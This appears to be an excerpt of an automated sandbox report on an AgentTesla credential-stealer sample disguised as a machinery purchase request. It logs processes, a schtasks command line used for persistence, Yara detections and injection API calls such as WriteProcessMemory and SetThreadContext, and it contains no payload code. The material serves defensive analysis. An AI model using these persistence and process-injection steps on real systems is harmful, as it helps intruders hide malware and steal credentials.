Show Windows behavior

Target ID:	6
Start time:	03:57:55
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:57:55
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp"
Imagebase:	0x860000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:57:55
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:57:55
Start date:	06/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x350000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:57:55
Start date:	06/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x910000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.1483006470.0000000002D1C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.1483006470.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.1483006470.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:57:57
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Roaming\vmPeKTe.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\vmPeKTe.exe
Imagebase:	0xe0000
File size:	785'408 bytes
MD5 hash:	2293CE96EC6BF9E7D7214091D74E4C35
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:57:58
Start date:	06/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff605670000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:58:01
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp"
Imagebase:	0x860000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:58:01
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:58:01
Start date:	06/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x940000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	13.8%
Total number of Nodes:	65
Total number of Limit Nodes:	3

Executed Functions

Function 03131C5A Relevance: 5.1, Strings: 4, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

mw(, xrefs: 03131CD5
,[P, xrefs: 03131D38
,[P, xrefs: 03131D31
<-%, xrefs: 03131D05

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: ,[P$,[P$<-%$mw(
API String ID: 0-3814939158
Opcode ID: 3e1a3e4ed329662643790cc68b37f91674b43c71bc6deac1a2186b02d3cdcc93
Instruction ID: 7512dd44fed6d75ee1b9cf8d4b48b640ca8d932d9b773577ea7eff7261b6ac36
Opcode Fuzzy Hash: 3e1a3e4ed329662643790cc68b37f91674b43c71bc6deac1a2186b02d3cdcc93
Instruction Fuzzy Hash: 51511470E0520A9FDB08DFAAC8416AEFBF2BB8D301F15D52AD419B7254D7349A418FA4

Function 0313132B Relevance: 2.8, Strings: 2, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@cfV, xrefs: 031315C3
@cfV, xrefs: 031315BC

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: @cfV$@cfV
API String ID: 0-2473636
Opcode ID: dc11b355604438a42b39d80f832045b5a50bedf5b0b4a467d1f72ed7f4d9b546
Instruction ID: 29188103be4ac352726e91bb93776d176945a7fcfefc744f471afc17262fb196
Opcode Fuzzy Hash: dc11b355604438a42b39d80f832045b5a50bedf5b0b4a467d1f72ed7f4d9b546
Instruction Fuzzy Hash: 67B10374E012198FDB08DFAAC880A9DBBF2FF8A310F289569D415AB358D734A945CF51

Function 031313B0 Relevance: 2.7, Strings: 2, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@cfV, xrefs: 031315C3
@cfV, xrefs: 031315BC

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: @cfV$@cfV
API String ID: 0-2473636
Opcode ID: 706be296d894cd234216b7ce3964b093677727784c42e4f84e5294b417fade63
Instruction ID: d6f1be178fc3e4dcc600eaf597fec4d50254bf77d7f261afa084c4a5938189f6
Opcode Fuzzy Hash: 706be296d894cd234216b7ce3964b093677727784c42e4f84e5294b417fade63
Instruction Fuzzy Hash: C391C374E012099FCB08DFAAC9846DEFBB2BF89310F24942AD419BB358D7349946CF54

Function 0A796784 Relevance: .7, Instructions: 653COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1451441187.000000000A790000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a790000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c382383375235ae30490c2cb9d09b058c51d26a80afb16a671e8d806d2474b
Instruction ID: 22c44a0454a243889af77893d8c1d482c0d438de3d14e503f32736c1665c9c29
Opcode Fuzzy Hash: 71c382383375235ae30490c2cb9d09b058c51d26a80afb16a671e8d806d2474b
Instruction Fuzzy Hash: 31425C70A003189FDF54DFA8D8547AEBBF6AF89300F14C16AD409AB385DB749989CF91

Function 09E8183A Relevance: .4, Instructions: 400COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7beb09e0d238ad552f92c998ade7b782ab84047415be51d99a3d93a24ae6f19a
Instruction ID: 14362e2b85f286e5d37690cb04d2cc8d19b71798810c150e0126fa1331dd79f6
Opcode Fuzzy Hash: 7beb09e0d238ad552f92c998ade7b782ab84047415be51d99a3d93a24ae6f19a
Instruction Fuzzy Hash: C1E1AE30E08244CFD714ABE8D8817ABBBB1EB84344F10966AE55EDB291D7749C47CB91

Function 03133543 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 759f705771b5792ec81a014deb71024ac4f5f1929176af5ef61bc52b0a7038fd
Instruction ID: f6f2e273f0d03edf86d4ffd392f126af90e8c1870509d2b5bd52658f2220c508
Opcode Fuzzy Hash: 759f705771b5792ec81a014deb71024ac4f5f1929176af5ef61bc52b0a7038fd
Instruction Fuzzy Hash: 2AD14E74E05209DFDB08CFA9C4848AEFBB2FF8A301B55D955C425AB218D734EA42CF94

Function 03133590 Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57fb02fdd0080049decc47f19d14ded0e4672ab8c641c221553ce53b0f720b34
Instruction ID: c2ed631ba49a79054f351cbd8c80417f0d1555cefd62351e18f7be2118e1a801
Opcode Fuzzy Hash: 57fb02fdd0080049decc47f19d14ded0e4672ab8c641c221553ce53b0f720b34
Instruction Fuzzy Hash: FDD12B74E0520ADFCB08CF99C4804AEFBB2FF8A701B55D959C425BB214D7349A82CF98

Function 0A797D54 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1451441187.000000000A790000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a790000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5c4b1512d465e00a1492c349acf479adec5529c8adbe7810932639e05b064e
Instruction ID: 207f8d8670d480bae46e0adcfbc9875d297ff32b64bec93c56013f8e9fae992c
Opcode Fuzzy Hash: 2a5c4b1512d465e00a1492c349acf479adec5529c8adbe7810932639e05b064e
Instruction Fuzzy Hash: E1C15931A002189FCF14CFA9E88079EBFB2BF89310F14C5AAD409AB255DB35D989CF51

Function 0A79677C Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1451441187.000000000A790000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a790000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27463e3b39cf951eaa9eb22f58d03f298e922bf0a5c9ce140ee1660b661dd2c1
Instruction ID: 08c748a2cf2ef7fdf72adba39b37edaf07f85b8f5f621ee7553377e2e95effbb
Opcode Fuzzy Hash: 27463e3b39cf951eaa9eb22f58d03f298e922bf0a5c9ce140ee1660b661dd2c1
Instruction Fuzzy Hash: DAC14831A002189FDF14CFA9E88079EBFB2BF89300F14C5AAD409AB255DB35D989CF51

Function 0313A3E8 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36c6d25c530b321ed07d7899b3167b7c708640cdd30cdc8e16c3fe6129b06b1e
Instruction ID: 4264aa9304332f4c1bb272a6d4c35d27d8ca4fe78571b5e5fa053d4ffdd56e5b
Opcode Fuzzy Hash: 36c6d25c530b321ed07d7899b3167b7c708640cdd30cdc8e16c3fe6129b06b1e
Instruction Fuzzy Hash: 0391C074E00209AFDB08DFAAE9546EDFBF2BF89310F148069D419AB364DB359942CF51

Function 03139C3C Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92659b36d8d5ff1eb254ddec292473144787dd2bfa7232b3b7616e06640a002e
Instruction ID: b3ee953ee554168d8636f6a011ca8deb3b833e3be827149c9d489a1cf2ae4b18
Opcode Fuzzy Hash: 92659b36d8d5ff1eb254ddec292473144787dd2bfa7232b3b7616e06640a002e
Instruction Fuzzy Hash: F191C274E00209AFDB08DFAAD9546EDBBF2FF89310F148069D419AB364DB359942CF51

Function 03130871 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5be362a0da60a2bd32dd53286bdf31d94c6fcad5a6e9c2f9549aa459b7fb5b0
Instruction ID: a427d4a0542df02777ca0eeb6abfb083a33dd399240f90e62d527ade819aa132
Opcode Fuzzy Hash: d5be362a0da60a2bd32dd53286bdf31d94c6fcad5a6e9c2f9549aa459b7fb5b0
Instruction Fuzzy Hash: C941F671E01218DFEB18DFAAD84079EFBB3AFC9200F14C5AAD419A6214DB744A858F51

Function 03132671 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7803e68804ef3f0176d6eceff9cdfd599daf347be6ae30fd0e6e382929b208b4
Instruction ID: 9995f5ac91c1f5c9a34e878ed13074f7cd41b0f1f4db2dc77b9f346445b47db9
Opcode Fuzzy Hash: 7803e68804ef3f0176d6eceff9cdfd599daf347be6ae30fd0e6e382929b208b4
Instruction Fuzzy Hash: 2A311771E012188FDB18CFAAD8446DEBBB2AFC9301F14C1A9D409AB358DB745A85CF40

Function 03139DD8 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7649ce18bf2f3493aec6c6bd25bde1b18df64bd014e15bd8dedc957aba4400c3
Instruction ID: efc8321b24aa8285dcf3ed236c632fa0f5db166d75daf77cb089ea30a0579f33
Opcode Fuzzy Hash: 7649ce18bf2f3493aec6c6bd25bde1b18df64bd014e15bd8dedc957aba4400c3
Instruction Fuzzy Hash: DB21CC71E046089BEB0CCFABD94069EFBF7AFC9300F14C03AD919AB254EB3445568B11

Function 03139DC9 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8007a3d1ac7ccc5f1fb3ea8d3b34b908b39cf03c7d0bd295eb8b6f07189f479e
Instruction ID: 993c65ae1c09bd96d75e82070beae2e836346a3e136fa06ca2d324101da28986
Opcode Fuzzy Hash: 8007a3d1ac7ccc5f1fb3ea8d3b34b908b39cf03c7d0bd295eb8b6f07189f479e
Instruction Fuzzy Hash: 5921CF75E056498BEB0CCFABD94069EFBF3AFC9300F18C03AD819AA255EB7445468B51

Function 09E8CBB6 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 09E8CDF6

Strings

pG, xrefs: 09E8CEDC

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: CreateProcess
String ID: pG
API String ID: 963392458-949659689
Opcode ID: d10bf0496f8421dcd3f724c6a931c8ff839d3fa42eea6d813b2da5de75e787ec
Instruction ID: 360c8a9f6d12b4e4af1df2fc8a60538940a3b85115854421187bd32cbdf95e0e
Opcode Fuzzy Hash: d10bf0496f8421dcd3f724c6a931c8ff839d3fa42eea6d813b2da5de75e787ec
Instruction Fuzzy Hash: DDA15B71D00319DFEB20DFA8C8417EEBBB2BB4A314F149569E848A7250DB749D85CFA1

Function 09E8CBC0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 09E8CDF6

Strings

pG, xrefs: 09E8CEDC

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: CreateProcess
String ID: pG
API String ID: 963392458-949659689
Opcode ID: 446fb7765ed74917c273999cd8ca3467a4f7103221e2abc04553945e7d6d6383
Instruction ID: ff5dea602344c0d883376ca1ea4461b9f4457f71e6da69c457baf0daebd85643
Opcode Fuzzy Hash: 446fb7765ed74917c273999cd8ca3467a4f7103221e2abc04553945e7d6d6383
Instruction Fuzzy Hash: 24914B71D00319DFEB10DFA8C8417EEBBB2BB4A314F149569E848A7250DB749D85CFA1

Function 0A798728 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1451441187.000000000A790000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a790000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: ed837c07fae2f5ed10d09e5cfa907921a95d3ab36d74239b7f1a085e198dfc62
Instruction ID: c9cf206972b2d2b5bc94a5d9614a83eabf4807f16745424cf5ec5037e8cf7b8c
Opcode Fuzzy Hash: ed837c07fae2f5ed10d09e5cfa907921a95d3ab36d74239b7f1a085e198dfc62
Instruction Fuzzy Hash: 49318B71900349EFCB11DFAAD844ADEBFF8EF49310F14805AE558AB261C335A954CFA1

Function 09E8C930 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 09E8C9C8

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d01632f5cd4a85c807930512cd0974b697683743e5b5c7b4d211d8ca21161557
Instruction ID: ba9a1fdec5c9e007301b606910e9d9512e84282651d20377bcec8e77a736194c
Opcode Fuzzy Hash: d01632f5cd4a85c807930512cd0974b697683743e5b5c7b4d211d8ca21161557
Instruction Fuzzy Hash: A1215771900349DFDB10DFAAC881BEEBBF5FF49310F10882AE958A7240D7799945CBA5

Function 09E8C938 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 09E8C9C8

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0301c59ca367bfaebb7798bc9660621421384c993b5fea285ad309d6f3e4cc97
Instruction ID: 9573934b6e9035f68adebc8f47f178d692ef344d615aa99a87b16004fbaedd56
Opcode Fuzzy Hash: 0301c59ca367bfaebb7798bc9660621421384c993b5fea285ad309d6f3e4cc97
Instruction Fuzzy Hash: B1214871900349DFDB10DFAAC881BEEBBF5FF49310F14882AE959A7240C7789944CBA5

Function 09E8CA22 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 09E8CAA8

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 2eb03ee60a18688d4f81ce5a08c1045473d65808feaf4b116ee1a9c5a252366f
Instruction ID: a85faf0e503f130b290e9763aefb50313f59da84d32e7955229850afb34e496d
Opcode Fuzzy Hash: 2eb03ee60a18688d4f81ce5a08c1045473d65808feaf4b116ee1a9c5a252366f
Instruction Fuzzy Hash: 072134718003499FDB10DFAAC881BEEBBF5FF48310F54882AE919A7240C7799901CBA0

Function 09E8C798 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 09E8C81E

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: dee92cfd055af0060889c7d22e4e0f8cc1743dcb279bca9f301fd5405c174b37
Instruction ID: e763fc7e24b2f624a87ae22c242465bb90bfe6c51936cd9c62b46b2a613b4b0d
Opcode Fuzzy Hash: dee92cfd055af0060889c7d22e4e0f8cc1743dcb279bca9f301fd5405c174b37
Instruction Fuzzy Hash: E4216871D003099FDB10DFAAC8857EEBBF4EF88214F14842AD459A7240D778A946CFA1

Function 09E8CA28 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 09E8CAA8

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 7bc73bdc932e699886d2eded6782176112f75cbf8d14c8c44ddd64e63eb4bd74
Instruction ID: 9d0c96bcb8670039c98ca5b83bf3fd10cfb115e5dcca20780d091587cf6b1d31
Opcode Fuzzy Hash: 7bc73bdc932e699886d2eded6782176112f75cbf8d14c8c44ddd64e63eb4bd74
Instruction Fuzzy Hash: BB2125718003499FDB10DFAAC881BEEFBF5FF48310F54842AE919A7240C7799901DBA1

Function 09E8C7A0 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 09E8C81E

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c4255b00a145cf1fd2c33a3651dc782048d7bd1bca2adc9f1cc498ede68e1844
Instruction ID: aa5f6346458e4234d44a9f3904c889db594630ded51451120a9b58cb027f549e
Opcode Fuzzy Hash: c4255b00a145cf1fd2c33a3651dc782048d7bd1bca2adc9f1cc498ede68e1844
Instruction Fuzzy Hash: F4214771D003099FDB10DFAAC485BEFBBF4EF89214F24842AD459A7240DB78A945CFA1

Function 09E8C870 Relevance: 1.6, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 09E8C8E6

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6253ad9c947e4c5cdabde7c2ec6f895d9d8e28642bf7aad8855ed9353824304d
Instruction ID: f936dd9c76a987eb16a7c131045c42381217cc1cbcfd2029c6e1f5198b7fec77
